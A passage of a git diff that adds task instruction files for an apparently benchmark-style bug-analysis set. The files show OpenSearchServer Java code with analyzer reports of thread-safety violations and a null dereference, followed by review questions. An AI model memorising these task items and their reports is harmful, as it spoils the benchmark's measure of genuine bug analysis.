+	public void reload(boolean optimize) throws IOException,
+			URISyntaxException, SearchLibException, InstantiationException,
+			IllegalAccessException, ClassNotFoundException {
+		if (optimize) {
+			client.reload(null);
+			client.getIndex().optimize(null);
+		}
+		client.reload(null);
+	}
+
+	public void updateDocument(UrlItem urlItem) throws SearchLibException {
+		try {
+			IndexDocument indexDocument = new IndexDocument();
+			urlItem.populate(indexDocument);
+			client.updateDocument(indexDocument);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateCrawls(List<Crawl> crawls) throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(crawls
+					.size());
+			for (Crawl crawl : crawls) {
+				IndexDocument indexDocument = new IndexDocument();
+				crawl.getUrlItem().populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateUrlItems(List<UrlItem> urlItems)
+			throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(
+					urlItems.size());
+			for (UrlItem urlItem : urlItems) {
+				IndexDocument indexDocument = new IndexDocument();
+				urlItem.populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.crawler.web.database.UrlManager.getNewUrlToFetch` indirectly writes to field `this.com.jaeksoft.searchlib.crawler.web.database.UrlManager.client.com.jaeksoft.searchlib.config.Config.statisticsList` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UrlManager.getNewUrlToFetch(NamedItem,long,List)
+
+### Procedure Id:
+com.jaeksoft.searchlib.crawler.web.database.UrlManager.getNewUrlToFetch(com.jaeksoft.searchlib.crawl.8f736f97f7cdc0e45f69eefb48f1dbc3
+
+### File:
+src/java/com/jaeksoft/searchlib/crawler/web/database/UrlManager.java
+
+### Key:
+UrlManager.java|getNewUrlToFetch|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+73a56bedd15f8fbe9af9787353ba47f9
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10482/instruction.md b/inferredbugs-10482/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..793a7d5e17b6b5ede352c93dbf1b59d1dedfdc48
--- /dev/null
+++ b/inferredbugs-10482/instruction.md
@@ -0,0 +1,198 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft WebSearch
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft WebSearch.
+ *
+ * Jaeksoft WebSearch is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft WebSearch is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft WebSearch. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.web;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collection;
+
+import javax.servlet.http.HttpServletRequest;
+
+import com.jaeksoft.searchlib.Client;
+import com.jaeksoft.searchlib.remote.StreamReadObject;
+import com.jaeksoft.searchlib.request.DeleteRequest;
+
+public class DeleteServlet extends AbstractServlet {
+
+	/**
+	 * 
+	 */
+	private static final long serialVersionUID = -2663934578246659291L;
+
+	private boolean deleteDoc(Client client, String indexName, String uniq)
+			throws NoSuchAlgorithmException, IOException, URISyntaxException {
+		if (indexName == null)
+			return client.deleteDocument(uniq);
+		else
+			return client.deleteDocument(indexName, uniq);
+	}
+
+	private int deleteDocs(Client client, String indexName,
+			Collection<String> uniqFields) throws NoSuchAlgorithmException,
+			IOException, URISyntaxException {
+		if (indexName == null)
+			return client.deleteDocuments(uniqFields);
+		else
+			return client.deleteDocuments(indexName, uniqFields);
+	}
+
+	private int deleteDocs(Client client, String indexName,
+			DeleteRequest deleteRequest) throws NoSuchAlgorithmException,
+			IOException, URISyntaxException {
+		return deleteDocs(client, indexName, deleteRequest.getCollection());
+	}
+
+	private Object doObjectRequest(HttpServletRequest request, String indexName)
+			throws ServletException {
+		StreamReadObject readObject = null;
+		try {
+			Client client = Client.getWebAppInstance();
+			readObject = new StreamReadObject(request.getInputStream());
+			Object obj = readObject.read();
+			if (obj instanceof DeleteRequest)
+				return deleteDocs(client, indexName, (DeleteRequest) obj);
+			else if (obj instanceof String)
+				return deleteDoc(client, indexName, (String) obj);
+			return "Error";
+		} catch (Exception e) {
+			throw new ServletException(e);
+		} finally {
+			if (readObject != null)
+				readObject.close();
+		}
+	}
+
+	@Override
+	protected void doRequest(ServletTransaction transaction)
+			throws ServletException {
+		try {
+			Client client = Client.getWebAppInstance();
+			HttpServletRequest request = transaction.getServletRequest();
+			String indexName = request.getParameter("index");
+			String uniq = request.getParameter("uniq");
+			Object result = null;
+			if (uniq != null)
+				result = deleteDoc(client, indexName, uniq);
+			else
+				result = doObjectRequest(request, indexName);
+			PrintWriter pw = transaction.getWriter("UTF-8");
+			pw.println(result);
+		} catch (Exception e) {
+			throw new ServletException(e);
+		}
+	}
+
+	public static boolean delete(URI uri, String indexName, String uniqueField)
+			throws IOException, URISyntaxException {
+		String msg = call(buildUri(uri, "/delete", indexName, "uniq="
+				+ uniqueField));
+		return Boolean.getBoolean(msg.trim());
+	}
+
+	public static int delete(URI uri, String indexName,
+			Collection<String> uniqueFields) throws IOException,
+			URISyntaxException {
+		String msg = sendObject(buildUri(uri, "/delete", indexName, null),
+				new DeleteRequest(uniqueFields));
+		return Integer.getInteger(msg.trim());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `client.index` last assigned on line 94 could be null and is dereferenced by call to `deleteDoc(...)` at line 100.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DeleteServlet.doRequest(ServletTransaction)
+
+### Procedure Id:
+com.jaeksoft.searchlib.web.DeleteServlet.doRequest(com.jaeksoft.searchlib.web.ServletTransaction):vo.971579a3d8d54a535d4a04062bb6587b
+
+### File:
+src/java/com/jaeksoft/searchlib/web/DeleteServlet.java
+
+### Key:
+DeleteServlet.java|doRequest|NULL_DEREFERENCE
+
+### Node Key:
+40bbb59c3c1a2fcb2d2b324c66b1ddbb
+
+### Hash:
+0ab8105ab432c65a7844d4978dab93ae
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10483/instruction.md b/inferredbugs-10483/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..112d92e6fdbf9e392b02a896d0c1c0a5b52938d8
--- /dev/null
+++ b/inferredbugs-10483/instruction.md
@@ -0,0 +1,663 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft OpenSearchServer
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft OpenSearchServer.
+ *
+ * Jaeksoft OpenSearchServer is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft OpenSearchServer is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft OpenSearchServer. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.crawler.web.database;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+import java.text.DecimalFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+
+import org.apache.lucene.index.CorruptIndexException;
+import org.apache.lucene.queryParser.ParseException;
+import org.apache.lucene.store.LockObtainFailedException;
+
+import com.jaeksoft.searchlib.Client;
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.crawler.web.database.InjectUrlItem.Status;
+import com.jaeksoft.searchlib.crawler.web.spider.Crawl;
+import com.jaeksoft.searchlib.facet.Facet;
+import com.jaeksoft.searchlib.facet.FacetField;
+import com.jaeksoft.searchlib.facet.FacetItem;
+import com.jaeksoft.searchlib.filter.Filter.Source;
+import com.jaeksoft.searchlib.function.expression.SyntaxError;
+import com.jaeksoft.searchlib.index.IndexDocument;
+import com.jaeksoft.searchlib.request.SearchRequest;
+import com.jaeksoft.searchlib.result.Result;
+import com.jaeksoft.searchlib.result.ResultDocument;
+
+public class UrlManager {
+
+	public enum Field {
+
+		URL("url"), WHEN("when"), CONTENTBASETYPE("contentBaseType"), CONTENTTYPECHARSET(
+				"contentTypeCharset"), CONTENTENCODING("contentEncoding"), CONTENTLENGTH(
+				"contentLength"), LANG("lang"), LANGMETHOD("langMethod"), ROBOTSTXTSTATUS(
+				"robotsTxtStatus"), FETCHSTATUS("fetchStatus"), RESPONSECODE(
+				"responseCode"), PARSERSTATUS("parserStatus"), INDEXSTATUS(
+				"indexStatus"), HOST("host");
+
+		private String name;
+
+		private Field(String name) {
+			this.name = name;
+		}
+
+		private void addFilterQuery(SearchRequest request, Object value)
+				throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQuery(sb, value);
+			request.addFilter(sb.toString());
+		}
+
+		private void addFilterRange(SearchRequest request, Object from,
+				Object to) throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQueryRange(sb, from, to);
+			request.addFilter(sb.toString());
+		}
+
+		private void addQuery(StringBuffer sb, Object value) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":");
+			sb.append(value);
+		}
+
+		private void addQueryRange(StringBuffer sb, Object from, Object to) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":[");
+			sb.append(from);
+			sb.append(" TO ");
+			sb.append(to);
+			sb.append("]");
+		}
+
+		@Override
+		public String toString() {
+			return name;
+		}
+
+	}
+
+	private Client client;
+
+	public UrlManager(File dataDir) throws SearchLibException,
+			URISyntaxException, FileNotFoundException {
+		dataDir = new File(dataDir, "web_crawler_url");
+		if (!dataDir.exists())
+			dataDir.mkdir();
+		this.client = new Client(dataDir, "/url_config.xml", true);
+	}
+
+	public Client getClient() {
+		return client;
+	}
+
+	public void injectPrefix(List<PatternItem> patternList)
+			throws SearchLibException {
+		Iterator<PatternItem> it = patternList.iterator();
+		List<InjectUrlItem> urlList = new ArrayList<InjectUrlItem>();
+		while (it.hasNext()) {
+			PatternItem item = it.next();
+			if (item.getStatus() == PatternItem.Status.INJECTED)
+				urlList.add(new InjectUrlItem(item));
+		}
+		inject(urlList);
+	}
+
+	public void deleteUrl(String sUrl) throws SearchLibException {
+		try {
+			client.deleteDocument(sUrl);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void deleteUrls(Collection<String> workDeleteUrlList)
+			throws SearchLibException {
+		try {
+			client.deleteDocuments(workDeleteUrlList);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public boolean exists(String sUrl) throws SearchLibException {
+		SearchRequest request = getUrlSearchRequest();
+		request.setQueryString("url:\"" + sUrl + '"');
+		return (getUrls(request, null, false, 0, 0, null) > 0);
+	}
+
+	public void inject(List<InjectUrlItem> list) throws SearchLibException {
+		synchronized (this) {
+			try {
+				List<IndexDocument> injectList = new ArrayList<IndexDocument>();
+				for (InjectUrlItem item : list) {
+					if (exists(item.getUrl()))
+						item.setStatus(InjectUrlItem.Status.ALREADY);
+					else
+						injectList.add(item.getIndexDocument());
+				}
+				if (injectList.size() == 0)
+					return;
+				client.updateDocuments(injectList);
+				int injected = 0;
+				for (InjectUrlItem item : list) {
+					if (item.getStatus() == Status.UNDEFINED) {
+						item.setStatus(Status.INJECTED);
+						injected++;
+					}
+				}
+				if (injected > 0)
+					client.reload(null);
+			} catch (NoSuchAlgorithmException e) {
+				throw new SearchLibException(e);
+			} catch (IOException e) {
+				throw new SearchLibException(e);
+			} catch (URISyntaxException e) {
+				throw new SearchLibException(e);
+			} catch (InstantiationException e) {
+				throw new SearchLibException(e);
+			} catch (IllegalAccessException e) {
+				throw new SearchLibException(e);
+			} catch (ClassNotFoundException e) {
+				throw new SearchLibException(e);
+			}
+		}
+	}
+
+	private void filterQueryToFetchOld(SearchRequest request,
+			Date fetchIntervalDate) throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("when:[00000000000000 TO ");
+		query.append(UrlItem.getWhenDateFormat().format(fetchIntervalDate));
+		query.append("]");
+		request.addFilter(query.toString());
+	}
+
+	private void filterQueryToFetchNew(SearchRequest request)
+			throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("fetchStatus:");
+		query.append(FetchStatus.UN_FETCHED.value);
+		request.addFilter(query.toString());
+	}
+
+	public Date getPastDate(int fetchInterval) {
+		return new Date(System.currentTimeMillis() - (long) fetchInterval
+				* 1000 * 86400);
+	}
+
+	private void getFacetLimit(Field field, SearchRequest searchRequest,
+			int limit, List<NamedItem> list) throws IOException,
+			ParseException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		Result result = client.search(searchRequest);
+		Facet facet = result.getFacetList().getByField(field.name);
+		for (FacetItem facetItem : facet) {
+			if (limit-- == 0)
+				break;
+			if (facetItem.getCount() == 0)
+				continue;
+			String term = facetItem.getTerm();
+			if (term == null)
+				continue;
+			if (term.length() == 0)
+				continue;
+			synchronized (list) {
+				list.add(new NamedItem(term, facetItem.getCount()));
+			}
+		}
+
+	}
+
+	private SearchRequest getHostFacetSearchRequest() {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.getFacetFieldList().add(new FacetField("host", 1, false));
+		return searchRequest;
+	}
+
+	private SearchRequest getUrlSearchRequest() throws SearchLibException {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.addReturnField("url");
+		searchRequest.addReturnField("host");
+		searchRequest.addReturnField("contentBaseType");
+		searchRequest.addReturnField("contentTypeCharset");
+		searchRequest.addReturnField("contentEncoding");
+		searchRequest.addReturnField("contentLength");
+		searchRequest.addReturnField("lang");
+		searchRequest.addReturnField("langMethod");
+		searchRequest.addReturnField("when");
+		searchRequest.addReturnField("responseCode");
+		searchRequest.addReturnField("robotsTxtStatus");
+		searchRequest.addReturnField("parserStatus");
+		searchRequest.addReturnField("fetchStatus");
+		searchRequest.addReturnField("indexStatus");
+		return searchRequest;
+	}
+
+	public void getOldHostToFetch(Date fetchIntervalDate, int limit,
+			List<NamedItem> hostList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getNewHostToFetch(int limit, List<NamedItem> hostList)
+			throws SearchLibException, ParseException, IOException,
+			SyntaxError, URISyntaxException, ClassNotFoundException,
+			InterruptedException, InstantiationException,
+			IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getStartingWith(String queryString, Field field, String start,
+			int limit, List<NamedItem> list) throws ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest(field
+				+ "Facet");
+		searchRequest.setQueryString(queryString);
+		searchRequest.getFilterList().add(field + ":" + start + "*",
+				Source.REQUEST);
+		getFacetLimit(field, searchRequest, limit, list);
+	}
+
+	public void getOldUrlToFetch(NamedItem host, Date fetchIntervalDate,
+			long limit, List<UrlItem> urlList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public void getNewUrlToFetch(NamedItem host, long limit,
+			List<UrlItem> urlList) throws SearchLibException, ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public SearchRequest urlQuery(String like, String host, String lang,
+			String langMethod, String contentBaseType,
+			String contentTypeCharset, String contentEncoding,
+			Integer minContentLength, Integer maxContentLength,
+			RobotsTxtStatus robotsTxtStatus, FetchStatus fetchStatus,
+			Integer responseCode, ParserStatus parserStatus,
+			IndexStatus indexStatus, Date startDate, Date endDate)
+			throws SearchLibException {
+		try {
+			SearchRequest searchRequest = client
+					.getNewSearchRequest("urlSearch");
+			StringBuffer query = new StringBuffer();
+			if (like != null) {
+				like = like.trim();
+				if (like.length() > 0) {
+					Field.URL.addQuery(query, SearchRequest.escapeQuery(like));
+					query.append("*");
+				}
+			}
+			if (host != null) {
+				host = host.trim();
+				if (host.length() > 0)
+					Field.HOST.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(host));
+			}
+			if (lang != null) {
+				lang = lang.trim();
+				if (lang.length() > 0)
+					Field.LANG.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(lang));
+			}
+			if (langMethod != null) {
+				langMethod = langMethod.trim();
+				if (langMethod.length() > 0)
+					Field.LANGMETHOD.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(langMethod));
+			}
+			if (contentBaseType != null) {
+				contentBaseType = contentBaseType.trim();
+				if (contentBaseType.length() > 0)
+					Field.CONTENTBASETYPE.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentBaseType));
+			}
+			if (contentTypeCharset != null) {
+				contentTypeCharset = contentTypeCharset.trim();
+				if (contentTypeCharset.length() > 0)
+					Field.CONTENTTYPECHARSET.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentTypeCharset));
+			}
+			if (contentEncoding != null) {
+				contentEncoding = contentEncoding.trim();
+				if (contentEncoding.length() > 0)
+					Field.CONTENTENCODING.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentEncoding));
+			}
+
+			if (robotsTxtStatus != null
+					&& robotsTxtStatus != RobotsTxtStatus.ALL)
+				Field.ROBOTSTXTSTATUS.addFilterQuery(searchRequest,
+						robotsTxtStatus.value);
+			if (responseCode != null)
+				Field.RESPONSECODE.addFilterQuery(searchRequest, responseCode);
+			if (fetchStatus != null && fetchStatus != FetchStatus.ALL)
+				Field.FETCHSTATUS.addFilterQuery(searchRequest,
+						fetchStatus.value);
+			if (parserStatus != null && parserStatus != ParserStatus.ALL)
+				Field.PARSERSTATUS.addFilterQuery(searchRequest,
+						parserStatus.value);
+			if (indexStatus != null && indexStatus != IndexStatus.ALL)
+				Field.INDEXSTATUS.addFilterQuery(searchRequest,
+						indexStatus.value);
+
+			if (minContentLength != null || maxContentLength != null) {
+				String from, to;
+				DecimalFormat df = UrlItem.getContentLengthFormat();
+				if (minContentLength == null)
+					from = df.format(0);
+				else
+					from = df.format(minContentLength);
+				if (maxContentLength == null)
+					to = df.format(Integer.MAX_VALUE);
+				else
+					to = df.format(maxContentLength);
+				Field.CONTENTLENGTH.addQueryRange(query, from, to);
+			}
+
+			if (startDate != null || endDate != null) {
+				String from, to;
+				SimpleDateFormat df = UrlItem.getWhenDateFormat();
+				if (startDate == null)
+					from = "00000000000000";
+				else
+					from = df.format(startDate);
+				if (endDate == null)
+					to = "99999999999999";
+				else
+					to = df.format(endDate);
+				Field.WHEN.addFilterRange(searchRequest, from, to);
+			}
+
+			if (query.length() == 0)
+				query.append("*:*");
+			searchRequest.setQueryString(query.toString().trim());
+			return searchRequest;
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public long getUrls(SearchRequest searchRequest, Field orderBy,
+			boolean orderAsc, long start, long rows, List<UrlItem> list)
+			throws SearchLibException {
+		searchRequest.setStart((int) start);
+		searchRequest.setRows((int) rows);
+		try {
+			if (orderBy != null)
+				searchRequest.addSort(orderBy.name, !orderAsc);
+			Result result = client.search(searchRequest);
+			if (list != null)
+				for (ResultDocument doc : result)
+					list.add(new UrlItem(doc));
+			return result.getNumFound();
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (RuntimeException e) {
+			throw new SearchLibException(e);
+		} catch (SyntaxError e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		} catch (InterruptedException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void reload(boolean optimize) throws IOException,
+			URISyntaxException, SearchLibException, InstantiationException,
+			IllegalAccessException, ClassNotFoundException {
+		if (optimize) {
+			client.reload(null);
+			client.getIndex().optimize(null);
+		}
+		client.reload(null);
+	}
+
+	public void updateDocument(UrlItem urlItem) throws SearchLibException {
+		try {
+			IndexDocument indexDocument = new IndexDocument();
+			urlItem.populate(indexDocument);
+			client.updateDocument(indexDocument);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateCrawls(List<Crawl> crawls) throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(crawls
+					.size());
+			for (Crawl crawl : crawls) {
+				IndexDocument indexDocument = new IndexDocument();
+				crawl.getUrlItem().populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateUrlItems(List<UrlItem> urlItems)
+			throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(
+					urlItems.size());
+			for (UrlItem urlItem : urlItems) {
+				IndexDocument indexDocument = new IndexDocument();
+				urlItem.populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.crawler.web.database.UrlManager.reload` indirectly writes to field `this.com.jaeksoft.searchlib.crawler.web.database.UrlManager.client.com.jaeksoft.searchlib.config.Config.statisticsList` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UrlManager.reload(boolean)
+
+### Procedure Id:
+com.jaeksoft.searchlib.crawler.web.database.UrlManager.reload(boolean):void.3c47f25eb0ad36db6e994a87cd612724
+
+### File:
+src/java/com/jaeksoft/searchlib/crawler/web/database/UrlManager.java
+
+### Key:
+UrlManager.java|reload|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8bc77fa66b46e06f044f3c0ab0bc75bd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
